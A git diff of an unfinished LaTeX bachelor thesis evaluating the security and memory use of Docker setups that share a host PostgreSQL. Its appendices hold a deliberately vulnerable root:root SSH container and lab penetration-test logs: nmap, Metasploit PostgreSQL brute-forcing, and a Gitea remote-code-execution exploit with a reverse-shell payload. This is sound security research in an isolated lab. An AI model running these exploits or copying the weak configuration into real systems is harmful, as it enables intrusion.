+After gaining shell access to the Gitea container, it can be explored freely; this includes Gitea's configuration, which reveals information such as the database, including username and password (\autoref{log:insecure:gitea:shell}). With this information, it is possible to establish a Metasploit session (\autoref{log:insecure:postgres_session}), which allows retrieving data from the database (\autoref{log:insecure:postgres_exploit_version}, \autoref{log:insecure:postgres_exploit_sql}). Unfortunately any further escalation is not easily possible, as the Gitea user lacks superuser privileges (\autoref{log:insecure:postgres_exploit_rce}).
+
+\subsection{Hardened configuration}
+
+The hardened configuration is intended to improve upon the hybrid setup, however as the hybrid configuration already proved secure, this test is primarily a configuration exercise than a penetration test, and as such will not follow to usual pattern. Comparing the CIS Docker Bench results in \autoref{docker_bench:hardened} with the results from the hybrid configuration (\autoref{docker_bench:hybrid}), it can be concluded that even with relatively simple changes, security can be significantly improved.
+
+\section{Performance}\label{sec:performance}
+
+Going back to the orignal idea of \autoref{sec:a_solution_to_duplication}, while security is one of the central considerations, the other is performance. This poses the question, does a hybrid system improve performance? As the goal is not to perform an extensive benchmark, a simple approach is to measure available processing power and used memory at idle. For this purpose a shell script (\autoref{code:idle_measure}) was used, measuring 60 samples each across 5 runs per setup\footnote{The raw data is available in electronic form upon request}.
+
+\begin{table}[!htbp]
+\centering
+\caption{Performance comparison between Base and Hybrid systems at idle.}\label{tab:system_comparison}
+\begin{tabular}{| r | l | l | l |}\hline
+Metric & Base System & Hybrid System & Difference (\%)\\\hline
+RAM Usage (MB) & 895.17 $\pm$ 1.00 & 863.11 $\pm$ 1.00 & -3.58\%$^{*}$\\
+CPU Idle (\%) & 99.57 $\pm$ 0.10 & 99.64 $\pm$ 0.10 & +0.06\%\\\hline
+\multicolumn{4}{l}{\small $^{*}$ Statistically significant difference ($p < 0.05$)}
+\end{tabular}
+\end{table}
+
+\autoref{tab:system_comparison} indicates significantly less memory used at idle, with a 3.58\% reduction and high statistical confidence ($p < 0.05$). CPU idle percenteages, however, are statistically equivalent between the two measured configurations. The measurements also show a narrow margin of error, with $\pm1.00 MB$ for RAM usage, and $\pm0.10\%$ for CPU idle.
+
+\clearpage
+\chapter{Discussion}\label{cha:discussion}
+
+\section{Evaluating Success}
+
+This thesis poses a central problem of too much redundancy in services, especially with containerized systems like docker; the proposed solution was to share services between containers or the host where feasable. As discussed in \autoref{sec:performance}, a minor improvement in used memory, but no reduction in CPU usage could be measured at idle.
+
+Additionally the concern was raised, that such sharing of dependencies could introduce new security vulnerabilities. The conducted tests found no critical vulnerabilities introduced by this hybridization, however an increased danger of misconfigurations was observed.
\section{Untested Configurations}
-Due to the wide array of possible configurations for any docker setup, is it virtually impossible to cover all in detail. Nonetheless this section will try to highlight some more common configurations, which were left out, and reason on why they were not tested. It is important to note that this list is by no means a complete list in any form.
+Due to the wide array of possible configurations for any Docker setup, is it virtually impossible to cover all in detail. Nonetheless this section will try to highlight some more common configurations, which were left out, and reason on why they were not tested. Furthermore this section also highlights oppertunities for expanding the concept of hybrid systems. It is important to note that this list is by no means a complete list in any form.
\subsection{Alternatives to Docker Networks}
-While it is common to expose specific ports for services---such as 3000 for NODE.js and thus Gitea, or variations on 8080 (8081, 8090, \textellipsis) for HTTP services---this approach is prone to cause port collisions. To avoid this, it is common to use a docker network \cite{a2024_networking} instead, especially as docker compose already defines the name of each service as its hostname. As docker networks are also a common security measure \cite{yasrab_2018_mitigating}, using hostnames not only improves convenience---both, in terms of setup and usage---but also security---thus testing configurations without using docker networks would not provide any meaningful results.
+While it is common to expose specific ports for services---such as 3000 for NODE.js and thus Gitea, or variations on 8080 (8081, 8090, \textellipsis) for HTTP services---this approach is prone to cause port collisions. To avoid this, it is common to use a Docker network \cite{a2024_networking} instead, especially as Docker compose already defines the name of each service as its hostname. As Docker networks are also a common security measure \cite{yasrab_2018_mitigating}, using hostnames not only improves convenience---both, in terms of setup and usage---but also security---thus testing configurations without using Docker networks would not provide any meaningful results.
-\subsection{Hardening of services}
+\subsection{Hardening of Services}
The security of both services in the tested setup can be further improved by implementing the suggested hardening measures according to their documentations\todo{cite hardening page gitea and bitwarden}---some of which are implemented for other tests anyway---extensively testing security of the services in itself would however go past the scope of this thesis, as the selected services are merely a representation of a possible scenario.
+\subsection{Stress Testing}
+
+Due to the high variability and complex testing procedure of stress test, it has been decided performing stress tests on the configuration would be beyond the scope of the thesis. To evaluate further uses of hybrid systems, as will be discussed in \autoref{sec:scaling_issues}, it would be beneficial to perform more rigorous performance testing of different configurations.
+
+\section{Security Trade-offs}
+
+While there are no direct vulnerabilities introduce by hybridization, this is only the case due to modern day secure-by-default configurations\todo{source?}. For example, after exploiting a vulnerability in the Gitea service, it still was not possible to access any data of the Vaultwarden database. Would PostgreSQL configure a default admin account, however, the whole database would have been compromised as a result. Another trade off is the increased complexity in ensuring network segregation: In a traditional setup, each service and its dependencies can be on a shared network to segragate them fully, however in a hybrid network, multiple networks need access to the same dependencies while ideally not being allowed to communcate with eachother. But there are also some benefits for security: With the example of a shared PostgreSQL service, a single instance also means a single instance to keep up-to-date, and a single instance to monitor. A single instance also reduces redundant configurations.
+
+Overall, modern day environment should hardly have any negative impact in terms of security from a hybrid system, especially considering the suite of tools available, from easy-to-configure Docker networks, over drop-in firewalls, to automated monitoring tools.
+
+\section{Scaling Issues}\label{sec:scaling_issues}
+
+While the reduction of services seems lucrative at first, it can be assumed such improvements do not scale linearly with server size. The tested system was purposefully designed to be minimal, active production systems fluctuate in the range of gigabytes, however, and as such the overhead of another PostgreSQL service is quite miniscule in comparison. In fact, distributed systems often spin up new instances of non-relational databases on demand\todo{insert quote}. However in small scale environments, that often sit idle, such differences can matter. It is not uncommon for a Raspberry Pi to be used as a home-server\todo{insert source}, and on this scale 30 MB can be up to 6\% of the total memory, depending on model\footnote{The Raspberry Pi 3B---considered one of the most sold models---has 1 GB of RAM}. In home-lab environments it is also more common to have mutliple services on the same system, further increasing the likelyhood of redundant services.
+
+\section{Dangers of Misconfiguration}
+
+As already highlighted in previous sections, hybrid systems sometimes require particular configuration to function properly. This strives away from a secure-by-default approach, increasing the potential for human error. Such issues are only amplified by the severity of misconfigurations, with the potential to escalate to a system wide breach. Furthermore due to the underexplored nature of hybrid systems, there is intrinsicly less documentation and user experience availble than for conventional system. On a positive note configurations on dependency services only need to be made once, reducing the chance of forgetting about a service or similar.
+
+\section{Reflextion on Reproducibility and Methodology}
+
+The usage of Vagrant to allow seamless recreation of any system could be one of the best advantages of the chosen methodology; while Vagrant itself did cause some issues---there has been a Ruby update during the writing of this thesis, temporarly breaking dependencies---a VM management system in general allowed for repeated runs of performance tests, or rapit iteration over different configuration options. Furthermore the usage of tools like Metasploit and Docker Bench automated large parts of the tests, while still completing the task of analysing the systems for common issues.
+
+\section{Conclusion}
+
+\todo{write}
+
% Hier können Sie Ihre KI-Tools dokumentieren. Diese werden automatisch in eine Tabelle integriert.
\aitoolentry{GPT-4o}{Proofreading}{``Hello, I'm writing my bachelor thesis with the title `[title]'. Can you help me proofread my work? I'd prefer you to explain the issues in the original than to simple correct them! I will send you individual sections as they are ready. Focus on sentence structure, clarity, and grammar and spelling mistakes.'' Entire Document}
@@ -268,6 +344,7 @@ The security of both services in the tested setup can be further improved by imp
\acro{TLS}[TLS]{Transport Layer Security}
\acro{SSL}[SSL]{Secure Sockets Layer}
\acro{CI}[CI]{continuous integration}
+ \acro{DoS}[DoS]{denial of service}
\end{acronym}
%
@@ -282,7 +359,7 @@ The security of both services in the tested setup can be further improved by imp
\section{Base Configuration}\label{appendix_base_config}
\begin{code}
-\captionof{listing}{Vagrantfile}
+\captionof{listing}{\texttt{./base/Vagrantfile}}
\label{code:Vagrantfile}
\begin{minted}[breaklines,fontsize=\footnotesize]{ruby}
Vagrant.configure("2") do |config|
@@ -299,9 +376,14 @@ Vagrant.configure("2") do |config|
sandbox.vm.hostname = "sandbox.vm"
sandbox.vm.network "private_network", ip: "192.168.56.10"
+ sandbox.vbguest.no_install = true
+
sandbox.vm.provider "virtualbox" do |v|
v.memory = 2048
v.cpus = 2
+
+ v.customize ["modifyvm", :id, "--vram", "128"]
+ v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
end
sandbox.vm.synced_folder ".", "/vagrant"
@@ -309,6 +391,8 @@ Vagrant.configure("2") do |config|
sandbox.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/sandbox/playbook.yml"
end
+
+ sandbox.vm.provision "file", source: "./idle_measurement.sh", destination: "$HOME/idle_measurement.sh"
end
config.vm.define "client" do |client|
@@ -317,12 +401,22 @@ Vagrant.configure("2") do |config|
client.vm.hostname = "client.vm"
client.vm.network "private_network", ip: "192.168.56.20"
+ client.vbguest.installer = :debian
+
client.vm.provider "virtualbox" do |v|
v.memory = 4096
v.cpus = 2
+
+ v.customize ["modifyvm", :id, "--accelerate3d", "on"]
+ v.customize ["modifyvm", :id, "--vram", "128"]
+ v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
+ v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
end
client.vm.synced_folder ".", "/vagrant"
+
+ # required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
+ client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
client.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/client/playbook.yml"
@@ -333,7 +427,7 @@ end
\end{code}
\begin{code}
-\captionof{listing}{sandbox/docker-compose.yml}
+\captionof{listing}{\texttt{./base/sandbox/docker-compose.yml}}
\label{code:sandbox:docker}
\begin{minted}[breaklines,fontsize=\footnotesize]{yaml}
services:
@@ -342,10 +436,11 @@ services:
container_name: vaultwarden
restart: unless-stopped
networks:
- - internal
+ - nginx
+ - vaultwarden
environment:
DOMAIN: "https://bitwarden.vm.local"
- DATABASE_URL: "postgres://vaultwarden:vaultwarden@vaultwarden-db/vaultwarden"
+ DATABASE_URL: "postgres://vaultwarden:vaultwarden@vaultwarden-db:5432/vaultwarden"
volumes:
- ./vw-data/:/data/
expose:
@@ -362,7 +457,7 @@ services:
volumes:
- ./vw-postgres:/var/lib/postgresql/data
networks:
- - internal
+ - vaultwarden
gitea:
image: docker.gitea.com/gitea:latest
@@ -378,7 +473,8 @@ services:
- GITEA__security__INSTALL_LOCK=true
restart: unless-stopped
networks:
- - internal
+ - nginx
+ - gitea
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
@@ -398,14 +494,21 @@ services:
volumes:
- ./postgres:/var/lib/postgresql/data
networks:
- - internal
+ - gitea
+
+ vulnerable:
+ build: /vagrant/sandbox/vuln
+ ports:
+ - 2222:22
+ networks:
+ - nginx
nginx:
image: nginx:latest
container_name: nginx
restart: unless-stopped
networks:
- - internal
+ - nginx
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./nginx/certs:/etc/nginx/certs
@@ -414,13 +517,17 @@ services:
- 443:443
networks:
- internal:
+ nginx:
+ driver: bridge
+ gitea:
+ driver: bridge
+ vaultwarden:
driver: bridge
\end{minted}
\end{code}
\begin{code}
-\captionof{listing}{sandbox/playbook.yml}
+\captionof{listing}{\texttt{./base/sandbox/playbook.yml}}
\label{code:sandbox:ansible}
\begin{minted}[breaklines,fontsize=\footnotesize]{yaml}
---
@@ -440,6 +547,8 @@ networks:
- curl
- software-properties-common
- virtualenv
+ - bc
+ - sysstat
state: latest
update_cache: true
@@ -587,7 +696,7 @@ networks:
\end{code}
\begin{code}
-\captionof{listing}{sandbox/nginx.conf}
+\captionof{listing}{\texttt{./base/sandbox/nginx.conf}}
\label{code:sandbox:nginx}
\begin{minted}[breaklines,fontsize=\footnotesize]{text}
server {
@@ -627,7 +736,7 @@ server {
\end{code}
\begin{code}
-\captionof{listing}{client/playbook.yml}
+\captionof{listing}{\texttt{./base/client/playbook.yml}}
\label{code:client:ansible}
\begin{minted}[breaklines,fontsize=\footnotesize]{yaml}
---
@@ -658,15 +767,560 @@ server {
- name: Add sandbox hostnames to /etc/hosts
lineinfile:
path: /etc/hosts
- line: "192.168.56.10 gitea.vm.local bitwarden.vm.local"
+ line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
state: present
\end{minted}
\end{code}
+\begin{code}
+\captionof{listing}{\texttt{./base/sandbox/vuln/Dockerfile}}
+\label{code:sandbox:vuln_docker}
+\begin{minted}[breaklines,fontsize=\footnotesize]{Dockerfile}
+FROM ubuntu:22.04
+RUN apt update && apt install -y openssh-server
+RUN echo 'root:root' | chpasswd
+RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
+ sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
+
+RUN mkdir /var/run/sshd
+EXPOSE 22
+CMD ["/usr/sbin/sshd", "-D"]
+\end{minted}
+\end{code}
+
+\begin{code}
+\captionof{listing}{\texttt{./base/idle\_measurement.sh}}
+\label{code:idle_measure}
+\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
+#!/bin/bash
+
+# idle_measurement.sh
+# Usage: ./idle_measurement.sh output.csv
+
+OUTPUT_FILE="$1"
+
+if [[ -z "$OUTPUT_FILE" ]]; then
+ echo "Usage: $0 output_file.csv"
+ exit 1
+fi
+
+echo "Sample,CPU_idle_percent,Mem_available_MB" > "$OUTPUT_FILE"
+echo "Starting idle measurement for 60 samples (1 per second)"
+echo ""
+
+CPU_TOTAL=0
+MEM_TOTAL=0
+SAMPLES=60
+
+for i in $(seq 1 $SAMPLES); do
+ # mpstat waits 1 second and returns average for that interval
+ CPU_IDLE=$(mpstat 1 1 | awk '/Average/ && $NF ~ /[0-9.]+/ {print $NF}')
+ MEM_AVAILABLE=$(free -m | awk '/^Mem:/ {print $7}')
+
+ CPU_TOTAL=$(echo "$CPU_TOTAL + $CPU_IDLE" | bc)
+ MEM_TOTAL=$(echo "$MEM_TOTAL + $MEM_AVAILABLE" | bc)
+
+ echo "$i,$CPU_IDLE,$MEM_AVAILABLE" >> "$OUTPUT_FILE"
+ printf "Sample %2d: CPU idle = %5.1f%% | Available memory = %6d MB\n" "$i" "$CPU_IDLE" "$MEM_AVAILABLE"
+done
+
+CPU_AVG=$(echo "scale=2; $CPU_TOTAL / $SAMPLES" | bc)
+MEM_AVG=$(echo "scale=2; $MEM_TOTAL / $SAMPLES" | bc)
+
+echo ""
+echo "Results saved to: $OUTPUT_FILE"
+echo "Average CPU idle: $CPU_AVG%"
+echo "Average Free Memory: $MEM_AVG MB"
+\end{minted}
+\end{code}
+
\clearpage
\section{Configuration Modifications}\label{appendix_patches}
+\begin{code}
+\captionof{listing}{Hybrid configuration, apply to the base configuration: \texttt{cp -r base hybrid \&\& patch -p1 -d hybrid < hybrid.patch}}
+\label{patch:hybrid}
+\begin{minted}[breaklines,fontsize=\footnotesize]{diff}
+diff --color -ruN base/sandbox/docker-compose.yml hybrid/sandbox/docker-compose.yml
+--- base/sandbox/docker-compose.yml 2025-05-16 19:46:23.713755709 +0200
++++ hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
+@@ -4,28 +4,16 @@
+ container_name: vaultwarden
+ restart: unless-stopped
+ networks:
+- - nginx
+- - vaultwarden
++ - internal
+ environment:
+ DOMAIN: "https://bitwarden.vm.local"
+- DATABASE_URL: "postgres://vaultwarden:vaultwarden@vaultwarden-db:5432/vaultwarden"
++ DATABASE_URL: "postgres://vaultwarden:vaultwarden@postgres:5432/vaultwarden"
+ volumes:
+ - ./vw-data/:/data/
+ expose:
+ - 80
+-
+- vaultwarden-db:
+- image: docker.io/library/postgres:latest
+- container_name: vaultwarden-db
+- restart: unless-stopped
+- environment:
+- POSTGRES_DB: vaultwarden
+- POSTGRES_USER: vaultwarden
+- POSTGRES_PASSWORD: vaultwarden
+- volumes:
+- - ./vw-postgres:/var/lib/postgresql/data
+- networks:
+- - vaultwarden
++ extra_hosts:
++ - "postgres:172.18.0.1"
+
+ gitea:
+ image: docker.gitea.com/gitea:latest
+@@ -34,15 +22,14 @@
+ - USER_UID=1000
+ - USER_GID=1000
+ - GITEA__database__DB_TYPE=postgres
+- - GITEA__database__HOST=gitea-db:5432
++ - GITEA__database__HOST=postgres:5432
+ - GITEA__database__NAME=gitea
+ - GITEA__database__USER=gitea
+ - GITEA__database__PASSWD=gitea
+ - GITEA__security__INSTALL_LOCK=true
+ restart: unless-stopped
+ networks:
+- - nginx
+- - gitea
++ - internal
+ volumes:
+ - ./gitea:/data
+ - /etc/timezone:/etc/timezone:ro
+@@ -50,33 +37,24 @@
+ expose:
+ - 3000
+ - 22
+-
+- gitea-db:
+- image: docker.io/library/postgres:latest
+- container_name: gitea-db
+- restart: unless-stopped
+- environment:
+- - POSTGRES_USER=gitea
+- - POSTGRES_PASSWORD=gitea
+- - POSTGRES_DB=gitea
+- volumes:
+- - ./postgres:/var/lib/postgresql/data
+- networks:
+- - gitea
++ extra_hosts:
++ - "postgres:172.18.0.1"
+
+ vulnerable:
+ build: /vagrant/sandbox/vuln
+ ports:
+ - 2222:22
+ networks:
+- - nginx
++ - internal
++ extra_hosts:
++ - "postgres:172.18.0.1"
+
+ nginx:
+ image: nginx:latest
+ container_name: nginx
+ restart: unless-stopped
+ networks:
+- - nginx
++ - internal
+ volumes:
+ - ./nginx.conf:/etc/nginx/conf.d/default.conf
+ - ./nginx/certs:/etc/nginx/certs
+@@ -85,9 +63,9 @@
+ - 443:443
+
+ networks:
+- nginx:
+- driver: bridge
+- gitea:
++ internal:
+ driver: bridge
+- vaultwarden:
+- driver: bridge
+\ No newline at end of file
++ ipam:
++ config:
++ - subnet: 172.18.0.0/16
++ gateway: 172.18.0.1
+\ No newline at end of file
+diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
+--- base/sandbox/playbook.yml 2025-05-17 15:34:39.895845622 +0200
++++ hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
+@@ -15,6 +15,9 @@
+ - curl
+ - software-properties-common
+ - virtualenv
++ - python3-psycopg2
++ - postgresql
++ - acl
+ - bc
+ - sysstat
+ state: latest
+@@ -150,6 +153,62 @@
+ name: ssh
+ state: restarted
+
++ - name: Ensure PostgreSQL service is running
++ service:
++ name: postgresql
++ state: started
++ enabled: yes
++
++ - name: Create PostgreSQL user for gitea
++ become: true
++ become_user: postgres
++ postgresql_user:
++ name: gitea
++ password: gitea
++ state: present
++
++ - name: Create PostgreSQL database for gitea
++ become: true
++ become_user: postgres
++ postgresql_db:
++ name: gitea
++ owner: gitea
++ state: present
++
++ - name: Create PostgreSQL user for vaultwarden
++ become: true
++ become_user: postgres
++ postgresql_user:
++ name: vaultwarden
++ password: vaultwarden
++ state: present
++
++ - name: Create PostgreSQL database for vaultwarden
++ become: true
++ become_user: postgres
++ postgresql_db:
++ name: vaultwarden
++ owner: vaultwarden
++ state: present
++
++ - name: Set PostgreSQL to listen on localhost and Docker bridge IP
++ become: yes
++ lineinfile:
++ path: /etc/postgresql/14/main/postgresql.conf
++ regexp: '^#?listen_addresses\s*='
++ line: "listen_addresses = 'localhost,172.18.0.1'"
++ notify: Restart PostgreSQL
++
++ - name: Allow connections from Docker subnet in pg_hba.conf
++ become: yes
++ lineinfile:
++ path: /etc/postgresql/14/main/pg_hba.conf
++ line: 'host all all 172.18.0.0/16 md5'
++ create: yes
++ insertafter: EOF
++ state: present
++ notify: Restart PostgreSQL
++
+ - name: Ensure Docker service is running
+ service:
+ name: docker
+@@ -159,4 +218,12 @@
+ - name: Run docker compose up -d
+ command: docker compose up -d
+ args:
+- chdir: /home/vagrant
+\ No newline at end of file
++ chdir: /home/vagrant
++
++
++ handlers:
++ - name: Restart PostgreSQL
++ become: yes
++ service:
++ name: postgresql
++ state: restarted
+\ No newline at end of file
+\end{minted}
+\end{code}
+
+\begin{code}
+\captionof{listing}{Insecure configuration, apply to the hybrid configuration: \texttt{cp -r hybrid insecure \&\& patch -p1 -d insecure < insecure.patch}}
+\label{patch:insecure}
+\begin{minted}[breaklines,fontsize=\footnotesize]{diff}
+diff --color -ruN hybrid/sandbox/docker-compose.yml insecure/sandbox/docker-compose.yml
+--- hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
++++ insecure/sandbox/docker-compose.yml 2025-05-19 13:21:23.282832190 +0200
+@@ -16,7 +16,7 @@
+ - "postgres:172.18.0.1"
+
+ gitea:
+- image: docker.gitea.com/gitea:latest
++ image: docker.gitea.com/gitea:1.16.6
+ container_name: gitea
+ environment:
+ - USER_UID=1000
+@@ -27,6 +27,8 @@
+ - GITEA__database__USER=gitea
+ - GITEA__database__PASSWD=gitea
+ - GITEA__security__INSTALL_LOCK=true
++ - GITEA__server__ROOT_URL=https://gitea.vm.local/
++ - GITEA__migrations__ALLOW_LOCALNETWORKS=true
+ restart: unless-stopped
+ networks:
+ - internal
+@@ -34,6 +36,8 @@
+ - ./gitea:/data
+ - /etc/timezone:/etc/timezone:ro
+ - /etc/localtime:/etc/localtime:ro
++ ports:
++ - 3000:3000
+ expose:
+ - 3000
+ - 22
+diff --color -ruN hybrid/sandbox/playbook.yml insecure/sandbox/playbook.yml
+--- hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
++++ insecure/sandbox/playbook.yml 2025-05-18 20:20:58.296668091 +0200
+@@ -7,6 +7,17 @@
+ default_container_image: hello-world
+ default_container_command: sleep 1
+ tasks:
++ - name: Add PostgreSQL APT repository key
++ apt_key:
++ url: https://www.postgresql.org/media/keys/ACCC4CF8.asc
++ state: present
++
++ - name: Add PostgreSQL APT repository
++ apt_repository:
++ repo: deb http://apt.postgresql.org/pub/repos/apt jammy-pgdg main
++ state: present
++ filename: 'pgdg'
++
+ - name: Install required system packages
+ apt:
+ pkg:
+@@ -16,12 +27,17 @@
+ - software-properties-common
+ - virtualenv
+ - python3-psycopg2
+- - postgresql
+ - acl
+ - bc
+ - sysstat
+ state: latest
+ update_cache: true
++
++ - name: Install PostgreSQL 9.6
++ apt:
++ name: postgresql-9.6
++ state: present
++ update_cache: yes
+
+ - name: Copy nginx conf
+ copy:
+@@ -194,7 +210,7 @@
+ - name: Set PostgreSQL to listen on localhost and Docker bridge IP
+ become: yes
+ lineinfile:
+- path: /etc/postgresql/14/main/postgresql.conf
++ path: /etc/postgresql/9.6/main/postgresql.conf
+ regexp: '^#?listen_addresses\s*='
+ line: "listen_addresses = 'localhost,172.18.0.1'"
+ notify: Restart PostgreSQL
+@@ -202,7 +218,7 @@
+ - name: Allow connections from Docker subnet in pg_hba.conf
+ become: yes
+ lineinfile:
+- path: /etc/postgresql/14/main/pg_hba.conf
++ path: /etc/postgresql/9.6/main/pg_hba.conf
+ line: 'host all all 172.18.0.0/16 md5'
+ create: yes
+ insertafter: EOF
+\end{minted}
+\end{code}
+
+\begin{code}
+\captionof{listing}{Hardened configuration, apply to the hybrid configuration: \texttt{cp -r hybrid hardened \&\& patch -p1 -d hardened < hardened.patch}}
+\label{patch:hardened}
+\begin{minted}[breaklines,fontsize=\footnotesize]{diff}
+diff --color -ruN hybrid/sandbox/docker-compose.yml hardened/sandbox/docker-compose.yml
+--- hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
++++ hardened/sandbox/docker-compose.yml 2025-05-19 17:33:43.963243018 +0200
+@@ -14,6 +14,15 @@
+ - 80
+ extra_hosts:
+ - "postgres:172.18.0.1"
++ deploy:
++ resources:
++ limits:
++ memory: 256M
++ cpus: '0.25'
++ pids: 100
++ reservations:
++ memory: 128M
++ cpus: '0.10'
+
+ gitea:
+ image: docker.gitea.com/gitea:latest
+@@ -39,15 +48,20 @@
+ - 22
+ extra_hosts:
+ - "postgres:172.18.0.1"
+-
+- vulnerable:
+- build: /vagrant/sandbox/vuln
+- ports:
+- - 2222:22
+- networks:
+- - internal
+- extra_hosts:
+- - "postgres:172.18.0.1"
++ healthcheck:
++ test: ["CMD", "curl", "-f", "http://localhost:3000/api/healthz"]
++ interval: 1m30s
++ timeout: 10s
++ retries: 3
++ deploy:
++ resources:
++ limits:
++ memory: 512M
++ cpus: '0.50'
++ pids: 100
++ reservations:
++ memory: 256M
++ cpus: '0.25'
+
+ nginx:
+ image: nginx:latest
+@@ -59,8 +73,22 @@
+ - ./nginx.conf:/etc/nginx/conf.d/default.conf
+ - ./nginx/certs:/etc/nginx/certs
+ ports:
+- - 80:80
+- - 443:443
++ - 0.0.0.0:80:80
++ - 0.0.0.0:443:443
++ deploy:
++ resources:
++ limits:
++ memory: 128M
++ cpus: '0.25'
++ pids: 100
++ reservations:
++ memory: 64M
++ cpus: '0.10'
++ read_only: true
++ tmpfs:
++ - /tmp
++ - /run
++ - /var/cache/nginx
+
+ networks:
+ internal:
+diff --color -ruN hybrid/sandbox/playbook.yml hardened/sandbox/playbook.yml
+--- hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
++++ hardened/sandbox/playbook.yml 2025-05-19 18:21:22.570964238 +0200
+@@ -20,9 +20,10 @@
+ - acl
+ - bc
+ - sysstat
++ - auditd
+ state: latest
+ update_cache: true
+-
++
+ - name: Copy nginx conf
+ copy:
+ src: /vagrant/sandbox/nginx.conf
+@@ -209,6 +210,63 @@
+ state: present
+ notify: Restart PostgreSQL
+
++ - name: Configure audit rules for Docker
++ copy:
++ dest: /etc/audit/rules.d/docker.rules
++ owner: root
++ group: root
++ mode: '0640'
++ content: |
++ -w /usr/bin/dockerd -k docker
++ -w /run/containerd -k docker
++ -w /var/lib/docker -k docker
++ -w /etc/docker -k docker
++ -w /lib/systemd/system/docker.service -k docker
++ -w /run/containerd/containerd.sock -k docker
++ -w /var/run/docker.sock -k docker
++ -w /etc/default/docker -k docker
++ -w /etc/docker/daemon.json -k docker
++ -w /etc/containerd/config.toml -k docker
++ -w /etc/sysconfig/docker -k docker
++ -w /usr/bin/containerd -k docker
++ -w /usr/bin/containerd-shim -k docker
++ -w /usr/bin/containerd-shim-runc-v1 -k docker
++ -w /usr/bin/containerd-shim-runc-v2 -k docker
++ -w /usr/bin/runc -k docker
++ -w /usr/lib/systemd/system/docker.socket -k docker
++ -w /usr/bin/containerd -k docker
++ -w /usr/bin/containerd-shim -k docker
++ -w /usr/bin/containerd-shim-runc-v1 -k docker
++ -w /usr/bin/containerd-shim-runc-v2 -k docker
++ -w /usr/bin/runc -k docker
++
++ - name: Restart auditd to apply new rules
++ service:
++ name: auditd
++ state: restarted
++ enabled: yes
++
++ - name: Ensure Docker daemon configuration is hardened
++ copy:
++ dest: /etc/docker/daemon.json
++ owner: root
++ group: root
++ mode: '0644'
++ content: |
++ {
++ "live-restore": true,
++ "icc": false,
++ "no-new-privileges": true,
++ "log-level": "info",
++ "log-driver": "json-file",
++ "log-opts": {
++ "max-size": "10m",
++ "max-file": "3"
++ },
++ "userland-proxy": false
++ }
++ notify: Restart Docker
++
+ - name: Ensure Docker service is running
+ service:
+ name: docker
+@@ -220,10 +278,15 @@
+ args:
+ chdir: /home/vagrant
+
+-
+ handlers:
+ - name: Restart PostgreSQL
+ become: yes
+ service:
+ name: postgresql
++ state: restarted
++
++ - name: Restart Docker
++ become: yes
++ systemd:
++ name: docker
+ state: restarted
+\ No newline at end of file
+\end{minted}
+\end{code}
+
\clearpage
\chapter{Test Results}\label{appendix_results}
@@ -1101,7 +1755,7 @@ meterpreter > portfwd add -l 5432 -p 5432 -r 172.18.0.1
\end{code}
\begin{code}
-\captionof{listing}{metasploit auxiliary/scanner/postgres/postgres\_version modules; shown on the hybrid system (client)}
+\captionof{listing}{metasploit auxiliary/scanner/postgres/postgres\_version module; shown on the hybrid system (client)}
\label{log:hybrid:portfwd:postgres_version}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
msf6 auxiliary(server/capture/postgresql) > use auxiliary/scanner/postgres/postgres_version
@@ -1116,7 +1770,7 @@ msf6 auxiliary(scanner/postgres/postgres_version) > run
\end{code}
\begin{code}
-\captionof{listing}{metasploit auxiliary/scanner/postgres/postgres\_version modules; shown on the hybrid system (client)}
+\captionof{listing}{metasploit auxiliary/scanner/postgres/postgres\_login module; shown on the hybrid system (client)}
\label{log:hybrid:portfwd:postgres_bruteforce}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
msf6 auxiliary(scanner/postgres/postgres_login) > use auxiliary/scanner/postgres/postgres_login
@@ -1163,6 +1817,277 @@ msf6 auxiliary(scanner/postgres/postgres_login) > run
\end{minted}
\end{code}
+\begin{code}
+\captionof{listing}{\texttt{nmap -sS 192.168.56.10} on the insecure system (client)}
+\label{log:insecure:nmap}
+\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
+Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 08:52 EDT
+Nmap scan report for gitea.vm.local (192.168.56.10)
+Host is up (0.0013s latency).
+Not shown: 995 closed tcp ports (reset)
+PORT STATE SERVICE
+22/tcp open ssh
+80/tcp open http
+443/tcp open https
+2222/tcp open EtherNetIP-1
+3000/tcp open ppp
+MAC Address: 08:00:27:15:C8:9C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
+
+Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
+\end{minted}
+\end{code}
+
+\begin{code}
+\captionof{listing}{metasploit exploit/multi/http/gitea\_git\_fetch\_rce module; shown on the insecure system (client)}
+\label{log:insecure:gitea_rce}
+\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
+msf6 > use exploit/multi/http/gitea_git_fetch_rce
+[*] Using configured payload linux/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set LHOST 192.168.56.20
+LHOST => 192.168.56.20
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set RHOSTS 192.168.56.10
